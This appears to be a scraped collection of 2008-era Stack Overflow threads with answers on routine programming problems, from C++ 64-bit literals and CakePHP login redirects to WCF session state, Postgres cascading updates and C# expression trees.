[ { "answer_id": 238345, "author": "Martin York", "author_id": 14065, "author_profile": "https://Stackoverflow.com/users/14065", "pm_score": 6, "selected": true, "text": "<p>You can specify an integer literal as long by the suffix L.<br>\nYou can specify an integer literal as long long by the suffix LL.<br></p>\n\n<pre><code>#include &lt;iostream&gt;\n\nint main()\n{\n long long num = 600851475143LL;\n\n std::cout &lt;&lt; num;\n}\n</code></pre>\n" }, { "answer_id": 238350, "author": "Robert Gamble", "author_id": 25222, "author_profile": "https://Stackoverflow.com/users/25222", "pm_score": 4, "selected": false, "text": "<p>The number is 600851475143 isn't too large for a long long int but you need to use the LL suffix when using a long long constants (ULL for unsigned long long int):</p>\n\n<pre><code>unsigned long long int num = 600851475143ULL;\n</code></pre>\n" }, { "answer_id": 238353, "author": "Martin Beckett", "author_id": 10897, "author_profile": "https://Stackoverflow.com/users/10897", "pm_score": 1, "selected": false, "text": "<p>Is there a bigint lib to link in or a bigint.cpp to compile?</p>\n" }, { "answer_id": 238367, "author": "artificialidiot", "author_id": 7988, "author_profile": "https://Stackoverflow.com/users/7988", "pm_score": 2, "selected": false, "text": "<p>Raison d'etre of a big integer library is to represent integers which your language cannot handle natively. That means, you cannot even write it down as a literal. Probably, that library has a way to parse a string as a big number.</p>\n" }, { "answer_id": 238374, "author": "coppro", "author_id": 16855, "author_profile": "https://Stackoverflow.com/users/16855", "pm_score": 1, "selected": false, "text": "<p>If you are getting undefined reference errors for the bignum library, you probably didn't link it. On Unix, you will have to pass an option like -lbigint. If you are using an IDE, you will have to find the linker settings and add the library.</p>\n\n<p>As for the numbers, as has already been said, a natural constant defaults to int type. You must use LL/ll to get a long long.</p>\n" }, { "answer_id": 238514, "author": "Dima", "author_id": 13313, "author_profile": "https://Stackoverflow.com/users/13313", "pm_score": 1, "selected": false, "text": "<p>The first thing to do in this case is to figure out what is the largest number that you can fit into an unsigned long long. Since it is 64 bit, the largest number would be 2^64-1 = 18446744073709551615, which is larger than your number. Then you know that you are doing something wrong, and you look at the answer by Martin York to see how to fix it.</p>\n" }, { "answer_id": 241062, "author": "jakber", "author_id": 29812, "author_profile": "https://Stackoverflow.com/users/29812", "pm_score": 2, "selected": false, "text": "<p>In a more general case when you cannot fit your number in a long long, and can live with the GNU LGPL license (<a href=\"http://www.gnu.org/copyleft/lesser.html\" rel=\"nofollow noreferrer\">http://www.gnu.org/copyleft/lesser.html</a>), I would suggest trying the GNU Multiprecision Library (<a href=\"http://gmplib.org/\" rel=\"nofollow noreferrer\">http://gmplib.org/</a>). </p>\n\n<p>It is extremely fast, written in C and comes with a very cool C++-wrapper-library.</p>\n" }, { "answer_id": 5231783, "author": "siddhusingh", "author_id": 306819, "author_profile": "https://Stackoverflow.com/users/306819", "pm_score": 0, "selected": false, "text": "<p>Try this one.\nBasically you can have your own custom class which uses linked list to store the number of infinite size. ( RAM is the restriction )\nTry this one\n<a href=\"https://mattmccutchen.net/bigint/\" rel=\"nofollow\">https://mattmccutchen.net/bigint/</a></p>\n" }, { "answer_id": 15887971, "author": "Muricula", "author_id": 1123789, "author_profile": "https://Stackoverflow.com/users/1123789", "pm_score": 0, "selected": false, "text": "<p>For anyone else having problems with this library five years after this question was asked, this is the answer for you.\nYou cannot just compile your program, it will fail to link with an ugly impenetrable error!\nThis library is a collection of c++ files which you are supposed to compile to .o files and link against. If you look at the output of the make file provided with the sample program you will see this:</p>\n\n<pre><code>g++ -c -O2 -Wall -Wextra -pedantic BigUnsigned.cc\ng++ -c -O2 -Wall -Wextra -pedantic BigInteger.cc\ng++ -c -O2 -Wall -Wextra -pedantic BigIntegerAlgorithms.cc\ng++ -c -O2 -Wall -Wextra -pedantic BigUnsignedInABase.cc\ng++ -c -O2 -Wall -Wextra -pedantic BigIntegerUtils.cc\ng++ -c -O2 -Wall -Wextra -pedantic sample.cc\ng++ sample.o BigUnsigned.o BigInteger.o BigIntegerAlgorithms.o BigUnsignedInABase.o BigIntegerUtils.o -o sample\n</code></pre>\n\n<p>Replace <code>sample</code> with the name of your program, paste these lines in a makefile or script, and away you go.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238343", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8715/" ]
I am trying to place a big number in a C++ variable. The number is 600851475143 I tried unsigned long long int but got an error saying it the constant was too big. I then tried a bigInt library called BigInt -> <http://mattmccutchen.net/bigint/> The problem is I can't compile the code as I get many errors regarding the lib. undefined reference to `BigInteger::BigInteger(int)' <-- lot's of these. Here is my code so far: ``` #include "string" #include "iostream" #include "bigint/NumberlikeArray.hh" #include "bigint/BigUnsigned.hh" #include "bigint/BigInteger.hh" #include "bigint/BigIntegerAlgorithms.hh" #include "bigint/BigUnsignedInABase.hh" #include "bigint/BigIntegerUtils.hh" using namespace std; int main() { //unsigned long int num = 13195; //unsigned long long int num = 600851475143; BigInteger num = 13195; int divider = 2; //num = 600851475143; while (1) { if ((num % divider) == 0) { cout << divider << '\n'; num /= divider; } else divider++; if (num == 1) break; } } ``` If I put a smaller number and don't use the BigInt lib this program runs fine. Any help will be appreciated :D
You can specify an integer literal as long by the suffix L. You can specify an integer literal as long long by the suffix LL. ``` #include <iostream> int main() { long long num = 600851475143LL; std::cout << num; } ```
238,349
<p>Below is the code that i cannot get to work. I know i have established a connection to the database but this returns nothing. What am i doing wrong?</p> <pre><code>$result = "SELECT * FROM images WHERE path = ?"; $params = array("blah"); $row = sqlsrv_query($conn, $result, $params); $finished = sqlsrv_fetch_array($row); if($finished) { echo "blach"; } </code></pre>
[ { "answer_id": 238495, "author": "user29149", "author_id": 29149, "author_profile": "https://Stackoverflow.com/users/29149", "pm_score": 1, "selected": false, "text": "<p>You may need to replace your ntwdblib.dll as explanied on the <a href=\"http://www.php.net/manual/en/function.mssql-connect.php\" rel=\"nofollow noreferrer\">mssql_connect() page of the php.net manual</a>.</p>\n" }, { "answer_id": 238502, "author": "Tom Haigh", "author_id": 22224, "author_profile": "https://Stackoverflow.com/users/22224", "pm_score": 0, "selected": false, "text": "<p>Would it be worth checking that the query is not returning an error?</p>\n\n<pre><code>$result = \"SELECT * FROM images WHERE path = ?\";\n$params = array(\"blah\");\n$row = sqlsrv_query($conn, $result, $params);\n\nif( $row === false ) {\n print_r(sqlsrv_errors());\n}\n</code></pre>\n" }, { "answer_id": 245531, "author": "matt.mercieca", "author_id": 30407, "author_profile": "https://Stackoverflow.com/users/30407", "pm_score": 0, "selected": false, "text": "<p>What if you don't use a literal? Most of the <a href=\"http://msdn.microsoft.com/en-us/library/cc296201(SQL.90).aspx\" rel=\"nofollow noreferrer\">MSDN examples</a> use variables.</p>\n\n<p>I'd try:</p>\n\n<pre>\n$result = \"SELECT * FROM images WHERE path = ?\";\n$var = \"blah\";\n$row = sqlsrv_query($conn, $result, array($var));\n\n$finished = sqlsrv_fetch_array($row);\n</pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238349", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
Below is the code that i cannot get to work. I know i have established a connection to the database but this returns nothing. What am i doing wrong? ``` $result = "SELECT * FROM images WHERE path = ?"; $params = array("blah"); $row = sqlsrv_query($conn, $result, $params); $finished = sqlsrv_fetch_array($row); if($finished) { echo "blach"; } ```
You may need to replace your ntwdblib.dll as explanied on the [mssql\_connect() page of the php.net manual](http://www.php.net/manual/en/function.mssql-connect.php).
238,358
<p>I'm trying to get authentication working to my liking in a CakePHP app and running into a snag. </p> <p>I want to let the user login from either the home page or from a dedicated login page. I'm using the Auth component to manage login and right now the login itself works. I am submitting the form on the home page to /Users/Login and it does log them in and create session. The problem is it then redirects the user back to the home page. I'd rather they redirect to the location specified in loginRedirect. </p> <p>If i login from /users/login directly it does forward to loginRedirect. I think the problem has something to do with posting the form from one page to another page instead of to itself, auth automatically thinks you want to go back to the previous page. </p> <p>Any thoughts?</p>
[ { "answer_id": 239319, "author": "Alexander Morland", "author_id": 4013, "author_profile": "https://Stackoverflow.com/users/4013", "pm_score": 0, "selected": false, "text": "<p>Yes auth has a feature where it will redirect you to the page you tried to access before logging in. If setting the loging redirect did not work, you can try to set the loginRedirect to false and do a manual ($this->redirect([..] ) in the UsersController::login action.</p>\n" }, { "answer_id": 374106, "author": "nanoman", "author_id": 46993, "author_profile": "https://Stackoverflow.com/users/46993", "pm_score": 0, "selected": false, "text": "<p>you can either turn off $autoRedirect by setting it to false and handling the redirect by yourself. The problem with the AuthComponent is, that there is too much automagic which you can't really control, or only by hacks.</p>\n\n<p>One solution for your problem is deleting the Session.Auth.redirect key, so the AuthComponent will always use the $loginRedirect URL:</p>\n\n<pre><code>$this-&gt;Session-&gt;del('Auth.redirect');\n</code></pre>\n" }, { "answer_id": 474358, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": true, "text": "<p>in the AppController</p>\n\n<pre><code>public function beforeFilter( )\n{\n $this-&gt;Auth-&gt;autoRedirect = false;\n}\n</code></pre>\n\n<p>in UsersController</p>\n\n<pre><code>public function login( )\n{\n if( $this-&gt;Auth-&gt;user( ) )\n {\n $this-&gt;redirect( array(\n 'controller' =&gt; 'users' ,\n 'action' =&gt; 'index' ,\n ));\n }\n}\n</code></pre>\n\n<p>Also, if you haven't already you should move the form into an element, so that you can make absolutely certain that the login form is identical between the 2 login views.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238358", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7018/" ]
I'm trying to get authentication working to my liking in a CakePHP app and running into a snag. I want to let the user login from either the home page or from a dedicated login page. I'm using the Auth component to manage login and right now the login itself works. I am submitting the form on the home page to /Users/Login and it does log them in and create session. The problem is it then redirects the user back to the home page. I'd rather they redirect to the location specified in loginRedirect. If i login from /users/login directly it does forward to loginRedirect. I think the problem has something to do with posting the form from one page to another page instead of to itself, auth automatically thinks you want to go back to the previous page. Any thoughts?
in the AppController ``` public function beforeFilter( ) { $this->Auth->autoRedirect = false; } ``` in UsersController ``` public function login( ) { if( $this->Auth->user( ) ) { $this->redirect( array( 'controller' => 'users' , 'action' => 'index' , )); } } ``` Also, if you haven't already you should move the form into an element, so that you can make absolutely certain that the login form is identical between the 2 login views.
238,359
<p>I'm hosting my first WCF service in IIS. I have two methods, 1 to set a string variable on the WCF Service, and the other to retrieve it. The interface used is:</p> <pre><code>[OperationContract] string ReturnText(); [OperationContract] void SetText(string s); </code></pre> <p>BasicHttpBinding is used. Stepping through the service with the debugger from the client reveals that the value of the string is set correctly using SetText, but when I immediately do a return text, the string is back to null.</p> <p>Probably a simple one I know, but I thought that all values on the WCF service were retained between opening the service connection and closing it.</p> <p>Why is the value lost between the Set and Gets?</p>
[ { "answer_id": 238434, "author": "Brian", "author_id": 19299, "author_profile": "https://Stackoverflow.com/users/19299", "pm_score": 4, "selected": true, "text": "<p>By default things are session-less and instances are per-call. See</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/ms731193.aspx\" rel=\"nofollow noreferrer\">http://msdn.microsoft.com/en-us/library/ms731193.aspx</a></p>\n\n<p>for some starter information, but in order to have state across the calls, you'll either need a PerSession or Single instancing mode on the server, and in the former case, configure the binding to support sessions (so that the two calls can be correlated as a result of being a part of the same session connection).</p>\n" }, { "answer_id": 242642, "author": "Calanus", "author_id": 445, "author_profile": "https://Stackoverflow.com/users/445", "pm_score": 2, "selected": false, "text": "<p>Thanks Brian, that link holds the information I need. I've added</p>\n\n<p>[ServiceContract (SessionMode=SessionMode.Required)]</p>\n\n<p>to my interface/contract and it automagically now works!</p>\n" }, { "answer_id": 10210614, "author": "Casper Leon Nielsen", "author_id": 164247, "author_profile": "https://Stackoverflow.com/users/164247", "pm_score": 2, "selected": false, "text": "<p>For volatile values, you could also just store the value in a static variable. This will also maintains its state across calls, as long as the wcf host is not recycled/restarted</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238359", "https://Stackoverflow.com", "https://Stackoverflow.com/users/445/" ]
I'm hosting my first WCF service in IIS. I have two methods, 1 to set a string variable on the WCF Service, and the other to retrieve it. The interface used is: ``` [OperationContract] string ReturnText(); [OperationContract] void SetText(string s); ``` BasicHttpBinding is used. Stepping through the service with the debugger from the client reveals that the value of the string is set correctly using SetText, but when I immediately do a return text, the string is back to null. Probably a simple one I know, but I thought that all values on the WCF service were retained between opening the service connection and closing it. Why is the value lost between the Set and Gets?
By default things are session-less and instances are per-call. See <http://msdn.microsoft.com/en-us/library/ms731193.aspx> for some starter information, but in order to have state across the calls, you'll either need a PerSession or Single instancing mode on the server, and in the former case, configure the binding to support sessions (so that the two calls can be correlated as a result of being a part of the same session connection).
238,376
<p>I am writing my own Joomla component (MVC), its based heavily on the newsflash module, because I want to display the latest 5 content items in a sliding tabbed interface, all the hard work is done, but I am having real difficult getting content out of the for loop.</p> <p>Here is the code I have so far default.php</p> <pre><code>&lt;ul id="handles" class="tabs"&gt; &lt;?php for ($i = 0, $n = count($list); $i &lt; $n; $i ++) : modSankeSlideHelper::getTabs($list[$i]); endfor; ?&gt; &lt;li class="end"&gt;&lt;/li&gt; &lt;/ul&gt; </code></pre> <p>helper.php</p> <pre><code>function getTabs(&amp;$item) { global $mainframe; $item-&gt;created = $item-&gt;created; list($year, $month, $day) = split("-", $item-&gt;created); $tabdate = date('d\/m\/y', mktime(0, 0, 0, $month, $day, $year)); require(JModuleHelper::getLayoutPath('mod_sankeslide', '_tab')); } </code></pre> <p>_tab.php</p> <pre><code>&lt;li&gt;&lt;a href="#tab"&gt;&lt;span&gt;&lt;?php echo 'Shout ' . $tabdate; ?&gt;&lt;/span&gt;&lt;b&gt;&lt;/b&gt;&lt;/a&gt;&lt;/li&gt; </code></pre> <p>The first item needs to have different value and a class item added to the a: item, so I need to be able to identify which is the first item and do something during that loop.</p> <p>I tried to use if $i = 0 else statement in the default.php, but it resulted in a page timeout for some reason!</p> <p>Any ideas?</p>
[ { "answer_id": 238389, "author": "Christian C. Salvadó", "author_id": 5445, "author_profile": "https://Stackoverflow.com/users/5445", "pm_score": 3, "selected": true, "text": "<p>You said, you tried <code>if $i = 0</code>, the <a href=\"http://www.php.net/operators.comparison\" rel=\"nofollow noreferrer\">comparison operator</a> in PHP is <code>==</code>, with your if you have an endless loop, because in each iteration you assign 0 to $i, and it never reaches $n, you should do inside your loop:</p>\n\n<pre><code>if ($i == 0){\n // First Item here...\n\n}else{\n // Other Items...\n\n} \n</code></pre>\n" }, { "answer_id": 238392, "author": "tvanfosson", "author_id": 12950, "author_profile": "https://Stackoverflow.com/users/12950", "pm_score": 2, "selected": false, "text": "<p>I think @CMS is correct.</p>\n\n<p>You might also want to think about handling the first item outside the loop and letting the loop handle the rest of the items. This way you don't have to make the check on each pass through the loop.</p>\n" }, { "answer_id": 238753, "author": "enobrev", "author_id": 14651, "author_profile": "https://Stackoverflow.com/users/14651", "pm_score": 1, "selected": false, "text": "<p>If you're using a plain <code>for</code> loop, I'd recommend just acting on the 1st item and then looping through the rest as <a href=\"https://stackoverflow.com/users/12950/tvanfosson\">tvanfosson</a> <a href=\"https://stackoverflow.com/questions/238376/getting-the-first-item-out-of-a-for-loop#238392\">said</a>. It's slightly faster and potentially easier to read...</p>\n\n<pre><code>doSomethingWithFirst($list[0]);\n\nfor ($i = 1; $i &lt; count($list); $i++) {\n doSomethingWithTheRest($list[$i]);\n}\n</code></pre>\n\n<p>I tend to use <code>foreach</code> over <code>for</code> to loop over arrays, in which case, I would use a \"firstDone\" var, like so:</p>\n\n<pre><code>$bFirstTime = true;\nforeach($list as $item) {\n if ($bFirstTime) {\n doSomethingWithFirst($item);\n $bFirstTime = false;\n } else {\n doSomethingWithTheRest($item);\n }\n}\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238376", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28241/" ]
I am writing my own Joomla component (MVC), its based heavily on the newsflash module, because I want to display the latest 5 content items in a sliding tabbed interface, all the hard work is done, but I am having real difficult getting content out of the for loop. Here is the code I have so far default.php ``` <ul id="handles" class="tabs"> <?php for ($i = 0, $n = count($list); $i < $n; $i ++) : modSankeSlideHelper::getTabs($list[$i]); endfor; ?> <li class="end"></li> </ul> ``` helper.php ``` function getTabs(&$item) { global $mainframe; $item->created = $item->created; list($year, $month, $day) = split("-", $item->created); $tabdate = date('d\/m\/y', mktime(0, 0, 0, $month, $day, $year)); require(JModuleHelper::getLayoutPath('mod_sankeslide', '_tab')); } ``` \_tab.php ``` <li><a href="#tab"><span><?php echo 'Shout ' . $tabdate; ?></span><b></b></a></li> ``` The first item needs to have different value and a class item added to the a: item, so I need to be able to identify which is the first item and do something during that loop. I tried to use if $i = 0 else statement in the default.php, but it resulted in a page timeout for some reason! Any ideas?
You said, you tried `if $i = 0`, the [comparison operator](http://www.php.net/operators.comparison) in PHP is `==`, with your if you have an endless loop, because in each iteration you assign 0 to $i, and it never reaches $n, you should do inside your loop: ``` if ($i == 0){ // First Item here... }else{ // Other Items... } ```
238,380
<p>When there are one of more columns that reference another, I'm struggling for the best way to update that column while maintaining referential integrity. For example, if I have a table of labels and descriptions and two entries:</p> <pre><code>Label | Description ------------------------------------ read | This item has been read READ | You read this thing already </code></pre> <p>Now, I don't want these duplicates. I want to add a constraint to the column that doesn't allow values that are case-insensitively duplicates, as in the example. However, I have several rows of several other tables referencing 'READ', the one I want to drop.</p> <p>I know Postgres knows which fields of other rows are referencing this, because I can't delete it as long as they are there. So, how could I get any field referencing this to update to 'read'? This is just an example, and I actually have a few places I want to do this. Another example is actually an int primary key for a few tables, where I want to add a new table as a sort of 'base table' that the existing ones extend and so they'll all need to have unique IDs now, which means updating the ones they have.</p> <p>I am open to recipes for functions I can add to do this, tools I can utilize, or anything else.</p>
[ { "answer_id": 238390, "author": "Vinko Vrsalovic", "author_id": 5190, "author_profile": "https://Stackoverflow.com/users/5190", "pm_score": 2, "selected": true, "text": "<p>If you have many rows referencing READ, you could alter the foreign key to be on cascade update, update that table set Label = 'read' where Label = 'READ' and everything will get automagically fixed. After that you can alter the constraint again to be as it was before.</p>\n\n<p>To find all the tables referencing the column, you can use</p>\n\n<pre><code>select TABLE_NAME,COLUMN_NAME,CONSTRAINT_NAME,\nREFERENCED_TABLE_NAME,REFERENCED_COLUMN_NAME from \nINFORMATION_SCHEMA.KEY_COLUMN_USAGE where\nREFERENCED_TABLE_NAME = '&lt;table&gt;' AND REFERENCED_COLUMN_NAME = '&lt;column&gt;'\n</code></pre>\n" }, { "answer_id": 238673, "author": "Patryk Kordylewski", "author_id": 30927, "author_profile": "https://Stackoverflow.com/users/30927", "pm_score": 0, "selected": false, "text": "<p>For the future you could create an unique index on the column \"label\", for example:</p>\n\n<pre><code>CREATE UNIQUE INDEX index_name ON table ((lower(label)));\n</code></pre>\n\n<p>Or check the <a href=\"http://www.postgresql.org/docs/current/static/sql-createindex.html\" rel=\"nofollow noreferrer\">manual</a>.\nThat would help you to avoid this situation for the next time.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238380", "https://Stackoverflow.com", "https://Stackoverflow.com/users/19687/" ]
When there are one of more columns that reference another, I'm struggling for the best way to update that column while maintaining referential integrity. For example, if I have a table of labels and descriptions and two entries: ``` Label | Description ------------------------------------ read | This item has been read READ | You read this thing already ``` Now, I don't want these duplicates. I want to add a constraint to the column that doesn't allow values that are case-insensitively duplicates, as in the example. However, I have several rows of several other tables referencing 'READ', the one I want to drop. I know Postgres knows which fields of other rows are referencing this, because I can't delete it as long as they are there. So, how could I get any field referencing this to update to 'read'? This is just an example, and I actually have a few places I want to do this. Another example is actually an int primary key for a few tables, where I want to add a new table as a sort of 'base table' that the existing ones extend and so they'll all need to have unique IDs now, which means updating the ones they have. I am open to recipes for functions I can add to do this, tools I can utilize, or anything else.
If you have many rows referencing READ, you could alter the foreign key to be on cascade update, update that table set Label = 'read' where Label = 'READ' and everything will get automagically fixed. After that you can alter the constraint again to be as it was before. To find all the tables referencing the column, you can use ``` select TABLE_NAME,COLUMN_NAME,CONSTRAINT_NAME, REFERENCED_TABLE_NAME,REFERENCED_COLUMN_NAME from INFORMATION_SCHEMA.KEY_COLUMN_USAGE where REFERENCED_TABLE_NAME = '<table>' AND REFERENCED_COLUMN_NAME = '<column>' ```
238,384
<p>It's not quite a "programming" question, but I hope its related closely enough.</p> <p>Do you know if it is possible to configure the browser in Linux (e.g. Firefox) to use Wine to create ActiveX objects? I would like to handle web pages that use:</p> <pre><code>var xmlDocument = new ActiveXObject( Msxml2.DOMDocument.4.0 ) </code></pre> <p>etc. in Javascript.</p>
[ { "answer_id": 238407, "author": "dsm", "author_id": 7780, "author_profile": "https://Stackoverflow.com/users/7780", "pm_score": 0, "selected": false, "text": "<p>ActiveXObject is part of the Windows Script host, and not available in Linux unless you can use Wine to install it.</p>\n\n<p>As a side issue, the actual ActiveXObject is an instance of a windows application, and not generally available in Linux (especially not the MS Office suite).</p>\n\n<p>Links:</p>\n\n<p><a href=\"http://msdn.microsoft.com/en-us/library/9bbdkx3k(VS.85).aspx\" rel=\"nofollow noreferrer\">Windows Scripting Host</a></p>\n\n<p><a href=\"http://www.winehq.org/\" rel=\"nofollow noreferrer\">Wine</a></p>\n\n<p>Edit: Had Wine confused with Mono. Fixed now.</p>\n" }, { "answer_id": 239569, "author": "Osama Al-Maadeed", "author_id": 25544, "author_profile": "https://Stackoverflow.com/users/25544", "pm_score": 3, "selected": true, "text": "<p>I think you can only do that in <a href=\"http://www.gagme.com/greg/linux/activex-linux.php\" rel=\"nofollow noreferrer\">Internet Explorer on Wine</a></p>\n" }, { "answer_id": 240380, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>If you just want an xml document you can do that via standard javascript. Their is no need for ActiveX. Simply ask the document to parse the xml for you. Have a look on Mozilla Developers Centre. They have very good JS docs.</p>\n\n<p>On another note, if you want cross browser web pages steer clear of ActiveX. Especailly with all its security holes.</p>\n" }, { "answer_id": 1372149, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>you can see flash in firefox of linux. try used flash.</p>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238384", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5363/" ]
It's not quite a "programming" question, but I hope its related closely enough. Do you know if it is possible to configure the browser in Linux (e.g. Firefox) to use Wine to create ActiveX objects? I would like to handle web pages that use: ``` var xmlDocument = new ActiveXObject( Msxml2.DOMDocument.4.0 ) ``` etc. in Javascript.
I think you can only do that in [Internet Explorer on Wine](http://www.gagme.com/greg/linux/activex-linux.php)
238,413
<p>I am trying to use Lambda Expressions in a project to map to a third party query API. So, I'm parsing the Expression tree by hand.</p> <p>If I pass in a lambda expression like:</p> <pre><code>p =&gt; p.Title == "title" </code></pre> <p>everything works.</p> <p>However, if my lambda expression looks like:</p> <pre><code>p =&gt; p.Title == myaspdropdown.SelectedValue </code></pre> <p>Using the .NET debugger, I don't see the actual value of that funciton. Instead I see something like:</p> <pre><code>p =&gt; p.Title = (value(ASP.usercontrols_myaspusercontrol_ascx).myaspdropdown.SelectedValue) </code></pre> <p>What gives? And when I try to grab the right side of the expression as a string, I get <code>(value(ASP.usercontrols_myaspusercontrol_ascx).myaspdropdown.SelectedValue)</code> instead of the actual value. <strong>How do I get the actual value?</strong></p>
[ { "answer_id": 238425, "author": "Grank", "author_id": 12975, "author_profile": "https://Stackoverflow.com/users/12975", "pm_score": -1, "selected": false, "text": "<p>I'm not sure I understand. Where are you \"seeing\" that? Is that at design-time or run-time? Lambda expressions can be thought of essentially as anonymous delegates, and will operate with deferred execution. So you shouldn't expect to see the value assigned until after execution has passed that line, obviously. <br />\nI don't think that's really what you mean though... if you clarify the question a bit maybe I can help :)</p>\n" }, { "answer_id": 238511, "author": "Jon Skeet", "author_id": 22656, "author_profile": "https://Stackoverflow.com/users/22656", "pm_score": 1, "selected": false, "text": "<p>To get the actual value, you need to apply the logic of the expression tree to whatever context you've got.</p>\n\n<p>The whole point of expression trees is that they represent the <em>logic</em> as data rather than evaluating the expression. You'll need to work out what the lambda expression truly means. That may mean evaluating some parts of it against local data - you'll need to decide that for yourself. Expression trees are very powerful, but it's not a simple matter to parse and use them. (Ask anyone who's written a LINQ provider... Frans Bouma has bemoaned the difficulties several times.)</p>\n" }, { "answer_id": 239359, "author": "Bevan", "author_id": 30280, "author_profile": "https://Stackoverflow.com/users/30280", "pm_score": 5, "selected": true, "text": "<p>Remember that when you're dealing with the lambda expression as an expression tree, you don't have executable code. Rather you have a tree of expression elements, that make up the expression you wrote.</p>\n<p>Charlie Calvert has <a href=\"https://learn.microsoft.com/en-us/archive/blogs/charlie/expression-tree-basics\" rel=\"nofollow noreferrer\">a good post</a> that discusses this in detail. Included is an example of using an expression visualiser for debugging expressions.</p>\n<p>In your case, to get the value of the righthand side of the equality expression, you'll need to create a new lambda expression, compile it and then invoke it.</p>\n<p>I've hacked together a quick example of this - hope it delivers what you need.</p>\n<pre><code>public class Class1\n{\n public string Selection { get; set; }\n\n public void Sample()\n {\n Selection = &quot;Example&quot;;\n Example&lt;Book, bool&gt;(p =&gt; p.Title == Selection);\n }\n\n public void Example&lt;T,TResult&gt;(Expression&lt;Func&lt;T,TResult&gt;&gt; exp)\n {\n BinaryExpression equality = (BinaryExpression)exp.Body;\n Debug.Assert(equality.NodeType == ExpressionType.Equal);\n\n // Note that you need to know the type of the rhs of the equality\n var accessorExpression = Expression.Lambda&lt;Func&lt;string&gt;&gt;(equality.Right);\n Func&lt;string&gt; accessor = accessorExpression.Compile();\n var value = accessor();\n Debug.Assert(value == Selection);\n }\n}\n\npublic class Book\n{\n public string Title { get; set; }\n}\n</code></pre>\n" }, { "answer_id": 3726572, "author": "squirrel", "author_id": 213781, "author_profile": "https://Stackoverflow.com/users/213781", "pm_score": 0, "selected": false, "text": "<p>Just been struggling with exactly the same issue, thanks Bevan. On an extension, the following is a generic pattern you can use to extract the value (using this in my query engine).</p>\n\n<pre><code> [TestFixture]\npublic class TestClass\n{\n [Test]\n public void TEst()\n {\n var user = new User {Id = 123};\n var idToSearch = user.Id;\n var query = Creator.CreateQuery&lt;User&gt;()\n .Where(x =&gt; x.Id == idToSearch);\n }\n}\n\npublic class Query&lt;T&gt;\n{\n public Query&lt;T&gt; Where(Expression&lt;Func&lt;T, object&gt;&gt; filter)\n {\n var rightValue = GenericHelper.GetVariableValue(((BinaryExpression)((UnaryExpression)filter.Body).Operand).Right.Type, ((BinaryExpression)((UnaryExpression)filter.Body).Operand).Right);\n Console.WriteLine(rightValue);\n return this;\n }\n}\n\ninternal class GenericHelper\n{\n internal static object GetVariableValue(Type variableType, Expression expression)\n {\n var targetMethodInfo = typeof(InvokeGeneric).GetMethod(\"GetVariableValue\");\n var genericTargetCall = targetMethodInfo.MakeGenericMethod(variableType);\n return genericTargetCall.Invoke(new InvokeGeneric(), new[] { expression });\n }\n}\n\ninternal class InvokeGeneric\n{\n public T GetVariableValue&lt;T&gt;(Expression expression) where T : class\n {\n var accessorExpression = Expression.Lambda&lt;Func&lt;T&gt;&gt;(expression);\n var accessor = accessorExpression.Compile();\n return accessor();\n }\n}\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238413", "https://Stackoverflow.com", "https://Stackoverflow.com/users/49611/" ]
I am trying to use Lambda Expressions in a project to map to a third party query API. So, I'm parsing the Expression tree by hand. If I pass in a lambda expression like: ``` p => p.Title == "title" ``` everything works. However, if my lambda expression looks like: ``` p => p.Title == myaspdropdown.SelectedValue ``` Using the .NET debugger, I don't see the actual value of that funciton. Instead I see something like: ``` p => p.Title = (value(ASP.usercontrols_myaspusercontrol_ascx).myaspdropdown.SelectedValue) ``` What gives? And when I try to grab the right side of the expression as a string, I get `(value(ASP.usercontrols_myaspusercontrol_ascx).myaspdropdown.SelectedValue)` instead of the actual value. **How do I get the actual value?**
Remember that when you're dealing with the lambda expression as an expression tree, you don't have executable code. Rather you have a tree of expression elements, that make up the expression you wrote. Charlie Calvert has [a good post](https://learn.microsoft.com/en-us/archive/blogs/charlie/expression-tree-basics) that discusses this in detail. Included is an example of using an expression visualiser for debugging expressions. In your case, to get the value of the righthand side of the equality expression, you'll need to create a new lambda expression, compile it and then invoke it. I've hacked together a quick example of this - hope it delivers what you need. ``` public class Class1 { public string Selection { get; set; } public void Sample() { Selection = "Example"; Example<Book, bool>(p => p.Title == Selection); } public void Example<T,TResult>(Expression<Func<T,TResult>> exp) { BinaryExpression equality = (BinaryExpression)exp.Body; Debug.Assert(equality.NodeType == ExpressionType.Equal); // Note that you need to know the type of the rhs of the equality var accessorExpression = Expression.Lambda<Func<string>>(equality.Right); Func<string> accessor = accessorExpression.Compile(); var value = accessor(); Debug.Assert(value == Selection); } } public class Book { public string Title { get; set; } } ```
238,430
<p>I think I know the answer, but I would like to bounce around some ideas.</p> <p>I would like to pass several (in this instance 2) somewhat different pieces of data to a View. My initial thought is simply to wrap-up the various objects into a containing object and pass them along that way. Then from the View, I'd have something like </p> <pre><code>var objContainer = ViewData.Model; var thisObject = objContainer.ThisObject; var thatObject = objContainer.ThatObject; </code></pre> <p>and these could be used independently in the Master Page and View Page.</p> <p>Is that the "best" way?</p>
